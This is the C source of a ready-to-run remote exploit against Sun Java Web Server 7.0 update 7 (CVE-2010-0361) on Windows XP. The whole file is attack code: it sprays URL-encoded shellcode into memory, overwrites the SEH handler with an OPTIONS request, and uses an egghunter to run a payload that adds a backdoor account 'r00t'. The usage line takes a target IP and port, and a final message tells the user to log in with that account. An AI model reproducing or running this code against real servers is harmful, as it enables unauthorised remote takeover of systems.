`/* Sun Java Web Server Exploit * Tested on: * Sun Java Web Server 7.0 update 7 - XP SP3 * Ref: CVE-2010-0361 * This vulnerability was identified by Evgeny Legerov * * Author: Dominic Chell * Date: 23/01/2010 */ #include "stdafx.h" #include #include #include #include #include "winsock2.h" #pragma comment(lib, "ws2_32") #define usage(){ (void)fprintf(stderr, "SJWSex vs Sun Java Web Server 7.0 u7\n(C) dmc \n\nExample: sjwsex.exe [ip] [port] [directory]\n");} #define error(e){ (void)fprintf(stderr,"%s\n",e); return -1;} // encoding the payloads in URL hex prevents it getting converted to unicode char seh[] = "%ee%7b%01%12"; // 0x12017bee char nextseh[] ="%eb%10%90%90"; // jmp char *nop = "%90"; // nop char egghunter[] = "%66%81%CA%FF%0F%42%52%6A%02%58%CD%2E%3C%05%5A%74%EF%B8%77%30%30%74%8B%FA%AF%75%EA%AF%75%E7%FF%E7"; char *egg = "%77%30%30%74%77%30%30%74"; // w00tw00t // adduser r00t / r00tr00t123 char shellcode[] = "%89%e6%db%cd%d9%76%f4%58%50%59%49%49%49%49%43" "%43%43%43%43%43%51%5a%56%54%58%33%30%56%58%34" "%41%50%30%41%33%48%48%30%41%30%30%41%42%41%41" "%42%54%41%41%51%32%41%42%32%42%42%30%42%42%58" "%50%38%41%43%4a%4a%49%4b%4c%4d%38%4b%39%45%50" "%45%50%43%30%43%50%4d%59%4b%55%46%51%48%52%42" "%44%4c%4b%46%32%50%30%4c%4b%46%32%44%4c%4c%4b" "%51%42%44%54%4c%4b%42%52%46%48%44%4f%4f%47%51" "%5a%47%56%46%51%4b%4f%50%31%49%50%4e%4c%47%4c" "%43%51%43%4c%45%52%46%4c%47%50%49%51%48%4f%44" "%4d%43%31%48%47%4d%32%4c%30%46%32%46%37%4c%4b" "%50%52%44%50%4c%4b%47%32%47%4c%45%51%48%50%4c" "%4b%51%50%43%48%4d%55%49%50%44%34%51%5a%45%51" "%48%50%50%50%4c%4b%47%38%44%58%4c%4b%50%58%51" "%30%45%51%4e%33%4a%43%47%4c%51%59%4c%4b%47%44" "%4c%4b%45%51%4e%36%46%51%4b%4f%46%51%49%50%4e" "%4c%49%51%48%4f%44%4d%43%31%48%47%50%38%4b%50" "%43%45%4a%54%43%33%43%4d%4b%48%47%4b%43%4d%47" "%54%43%45%4a%42%46%38%4c%4b%50%58%46%44%45%51" "%48%53%42%46%4c%4b%44%4c%50%4b%4c%4b%50%58%45" "%4c%43%31%49%43%4c%4b%44%44%4c%4b%45%51%4e%30" "%4d%59%50%44%47%54%46%44%51%4b%51%4b%45%31%50" "%59%50%5a%46%31%4b%4f%4b%50%46%38%51%4f%50%5a" "%4c%4b%42%32%4a%4b%4b%36%51%4d%43%5a%43%31%4c" "%4d%4b%35%4e%59%45%50%43%30%43%30%46%30%43%58" "%46%51%4c%4b%42%4f%4d%57%4b%4f%48%55%4f%4b%4b" "%50%45%4d%46%4a%45%5a%45%38%49%36%4a%35%4f%4d" "%4d%4d%4b%4f%48%55%47%4c%45%56%43%4c%44%4a%4d" "%50%4b%4b%4d%30%42%55%44%45%4f%4b%50%47%42%33" "%42%52%42%4f%42%4a%43%30%46%33%4b%4f%4e%35%45" "%33%42%4d%45%34%46%4e%43%55%44%38%45%35%51%30" "%46%4f%43%53%47%50%42%4e%45%35%42%54%51%30%43" "%45%42%53%45%35%43%42%51%30%44%32%50%30%46%50" "%42%54%51%30%43%42%46%50%46%50%42%54%44%32%50" "%30%46%50%43%44%46%51%46%52%46%53%47%50%46%4f" "%51%51%50%44%51%54%47%50%51%36%46%46%51%30%42" "%4e%43%55%44%34%51%30%42%4c%42%4f%45%33%45%31" "%42%4c%43%57%43%42%42%4f%44%35%42%50%47%50%51" "%51%42%44%42%4d%45%39%42%4e%43%59%42%53%44%34" "%44%32%45%31%43%44%42%4f%43%42%42%53%51%30%42" "%52%46%50%46%50%42%54%51%30%46%4f%47%31%50%44" "%51%54%45%50%45%5a%41%41"; int send_buffer(int ipaddr, int port, char *buffer) { SOCKET s; struct fd_set mask; struct timeval timeout; struct sockaddr_in server; WSADATA info; if (WSAStartup(MAKEWORD(2,0), &info)) error("Unable to start WSA"); s=socket(AF_INET,SOCK_STREAM,0); if (s==INVALID_SOCKET) error("[*] socket error"); server.sin_family=AF_INET; server.sin_addr.s_addr=htonl(ipaddr); server.sin_port=htons(port); WSAConnect(s,(struct sockaddr *)&server,sizeof(server),NULL,NULL,NULL,NULL); timeout.tv_sec=3;timeout.tv_usec=0;FD_ZERO(&mask);FD_SET(s,&mask); select(s+1,NULL,&mask,NULL,&timeout); if(FD_ISSET(s,&mask)) { if (send(s,buffer,strlen(buffer),0)==SOCKET_ERROR) error("[*] error sending buffer\n"); closesocket(s); return 0; } } int main(int argc, char *argv[]) { char *verb="GET /"; char *options="OPTIONS /"; char *version=" HTTP/1.0"; char *directory=""; char *payload, *ptr, *buffer; char nops[31], padding[130]; if(argc < 4) { usage(); return 0; } memset(nops, 0x00, sizeof(nops)); memset(padding, 0x00, sizeof(padding)); int ipaddr=htonl(inet_addr(argv[1])), port=atoi(argv[2]); directory = argv[3]; fprintf(stderr, "SJWSex vs Sun Java Web Server 7.0 u7\n(C) dmc \n\n"); // build payload and place shellcode in memory payload = (char*)malloc(strlen(egg)+strlen(shellcode)+strlen(verb)+strlen(version)+2); memset(payload, 0x00, sizeof(payload)); ptr=payload; memcpy(ptr, verb, strlen(verb)); ptr+=strlen(verb); memcpy(ptr, egg, strlen(egg)); ptr+=strlen(egg); memcpy(ptr, shellcode, strlen(shellcode)); ptr+=strlen(shellcode); memcpy(ptr, version, strlen(version)); ptr+=strlen(version); memcpy(ptr, "\n\0", 2); fprintf(stderr, "%s\n", "[*] Filling memory with shellcode"); for (int i=0; i<4; i++) { send_buffer(ipaddr, port, payload); } // build final buffer and overwrite seh // [ OPTIONS / | DIRECTORY | PADDING | EGG | SHELLLCODE | NEXTSEH | SEH | NOPS | EGGHUNTER | HTTPVERSION ] buffer=(char*)malloc(strlen(options)+strlen(directory)+strlen(egg)+strlen(shellcode)+strlen(nextseh)+strlen(seh)+strlen(egghunter)+strlen(version)+163); memset(buffer, 0x00, sizeof(buffer)); ptr=buffer; memcpy(ptr, options, strlen(options)); ptr+=strlen(options); memcpy(ptr, directory, strlen(directory)); ptr+=strlen(directory); memcpy(ptr, "/", 1); ptr++; for(int i=0;i<129;i++) padding[i] = 'A'; memcpy(ptr, padding, strlen(padding)); ptr+=strlen(padding); memcpy(ptr, egg, strlen(egg)); ptr+=strlen(egg); memcpy(ptr, shellcode, strlen(shellcode)); ptr+=strlen(shellcode); memcpy(ptr, nextseh, strlen(nextseh)); ptr+=strlen(nextseh); memcpy(ptr, seh, strlen(seh)); ptr+=strlen(seh); for(int i=0;i<10;i++) strcat(nops, nop); memcpy(ptr, nops, strlen(nops)); ptr+=strlen(nops); memcpy(ptr, egghunter, strlen(egghunter)); ptr+=strlen(egghunter); memcpy(ptr, version, strlen(version)); ptr+=strlen(version); memcpy(ptr, "\n\n\0", 3); fprintf(stderr, "%s\n", "[*] Sending final buffer"); send_buffer(ipaddr, port, buffer); fprintf(stderr, "%s\n", "[*] Wait 2 minutes and connect with r00t / r00tr00t123"); return 0; } `

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